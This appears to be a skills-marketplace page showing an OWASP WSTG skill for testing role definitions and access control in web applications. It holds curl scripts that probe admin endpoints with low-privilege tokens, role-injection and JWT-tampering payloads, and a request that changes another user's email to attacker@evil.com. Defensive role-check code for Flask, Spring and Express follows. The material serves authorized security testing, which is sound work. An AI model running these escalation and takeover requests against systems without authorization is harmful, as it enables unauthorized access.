用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-idnt-01命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-idnt-01 |
| description | Test Role Definitions |
| category | identity-management |
| owasp_id | WSTG-IDNT-01 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["identity","user-enum","roles","wstg","idnt"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-IDNT-01
Test Role Definitions
Role definitions testing evaluates how well an application implements role-based access control (RBAC). This test identifies whether roles are properly defined, whether users can only access resources appropriate for their role, and whether role hierarchies are correctly enforced. Poorly defined roles can lead to privilege escalation and unauthorized access to sensitive functionality.
| Check | Description |
|---|---|
| Role boundaries | Each role can only access assigned resources |
| Privilege separation | Sensitive functions require specific roles |
| Role escalation | Users cannot self-assign higher roles |
| Cross-role access | Users cannot access other role's data |
# Review application documentation for role definitions
# Common roles to look for:
# - Guest/Anonymous
# - User/Member
# - Moderator
# - Administrator
# - Super Admin
# Check user profile endpoints for role information
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.com/api/user/profile" | jq '.role'
# Check for role-related parameters
curl -s -H "Authorization: Bearer " \
| jq
#!/bin/bash
# Create accounts for each role and map accessible endpoints
ROLES=("user" "moderator" "admin")
ENDPOINTS=(
"/api/users"
"/api/users/1"
"/api/admin/settings"
"/api/admin/users"
"/api/reports"
"/api/logs"
)
for role in "${ROLES[@]}"; do
echo "=== Testing role: $role ==="
# Use token for this role
TOKEN=$(cat "tokens/${role}_token.txt")
for endpoint in "${ENDPOINTS[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://target.com${endpoint}")
echo "$endpoint: $status"
done
echo ""
done
# Test if lower-privileged role can access admin functions
# Using regular user token
curl -s -H "Authorization: Bearer $USER_TOKEN" \
"https://target.com/api/admin/users" \
-w "\nStatus: %{http_code}"
# Test if user can modify their own role
curl -s -X PUT \
-H "Authorization: Bearer $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}' \
"https://target.com/api/user/profile"
# Test parameter manipulation
curl -s -X POST \
-H "Authorization: Bearer $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"username": "test", "role": "admin"}' \
"https://target.com/api/users"
# User A trying to access User B's resources
curl -s -H "Authorization: Bearer $USER_A_TOKEN" \
"https://target.com/api/users/2/profile"
# User A trying to modify User B's data
curl -s -X PUT \
-H "Authorization: Bearer $USER_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email": "attacker@evil.com"}' \
"https://target.com/api/users/2/profile"
# Check if role is enforced on all endpoints
# Sometimes GET is protected but POST is not
# Test different HTTP methods
for method in GET POST PUT DELETE PATCH; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X $method \
-H "Authorization: Bearer $USER_TOKEN" \
"https://target.com/api/admin/settings")
echo "$method /api/admin/settings: $status"
done
| Tool | Description | Usage |
|---|---|---|
| Burp Suite Autorize | Access control testing | Automatic re-request with different sessions |
| OWASP ZAP Access Control | Automated role testing | Context-based access testing |
| AuthMatrix | Burp extension | Matrix-based authorization testing |
| Tool | Description |
|---|---|
| Burp Suite | Intercept and modify role parameters |
| Postman | Create collections for different roles |
| curl | Command-line HTTP testing |
// User registration with role injection
{
"username": "attacker",
"password": "password123",
"email": "attacker@test.com",
"role": "admin"
}
// Profile update with role escalation
{
"name": "Attacker",
"role": "administrator",
"isAdmin": true,
"permissions": ["all"]
}
// JWT manipulation (if applicable)
// Original: {"sub":"user123","role":"user"}
// Modified: {"sub":"user123","role":"admin"}
# Burp Autorize configuration
# 1. Install Autorize extension
# 2. Configure low-privileged session cookie
# 3. Enable interception
# 4. Browse as admin
# 5. Review color-coded results:
# - Green: Access denied (correct)
# - Red: Access granted (vulnerability)
# - Yellow: Different response (investigate)
# Python/Flask example
from functools import wraps
from flask import g, abort
def role_required(required_role):
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if not g.user:
abort(401)
if g.user.role != required_role and g.user.role != 'admin':
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
@app.route('/admin/users')
@role_required('admin')
def admin_users():
return get_all_users()
// Java/Spring Security
@Configuration
@EnableGlobalMethodSecurity(prePostEnabled = true)
public class SecurityConfig {
@PreAuthorize("hasRole('ADMIN')")
public void adminOnlyMethod() {
// Only admins can access
}
@PreAuthorize("hasAnyRole('ADMIN', 'MODERATOR')")
public void moderatorMethod() {
// Admins and moderators
}
}
// Node.js/Express middleware
const checkRole = (allowedRoles) => {
return (req, res, next) => {
const userRole = req.user.role
if (!allowedRoles.includes(userRole)) {
return res.status(403).json({
error: "Access denied",
})
}
next()
}
}
// Usage
app.get("/admin/users", authenticate, checkRole(["admin"]), adminController.getUsers)
| Finding | CVSS | Severity |
|---|---|---|
| No role definitions | 8.8 | High |
| Role bypass possible | 8.8 | High |
| Privilege escalation via role manipulation | 8.8 | High |
| Incomplete role enforcement | 6.5 | Medium |
Privilege Escalation Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| CWE ID | Title | Description |
|---|---|---|
| CWE-269 | Improper Privilege Management | Incorrect role handling |
| CWE-284 | Improper Access Control | Missing authorization |
| CWE-285 | Improper Authorization | Authorization bypass |
| CWE-862 | Missing Authorization | No role check |
[ ] Available roles identified
[ ] Role documentation reviewed
[ ] Role permissions mapped
[ ] Vertical privilege escalation tested
[ ] Horizontal access tested
[ ] Role parameter manipulation tested
[ ] All HTTP methods tested
[ ] Role enforcement consistency verified
[ ] Client-side role checks identified
[ ] Server-side enforcement confirmed
[ ] Findings documented
[ ] Remediation recommendations provided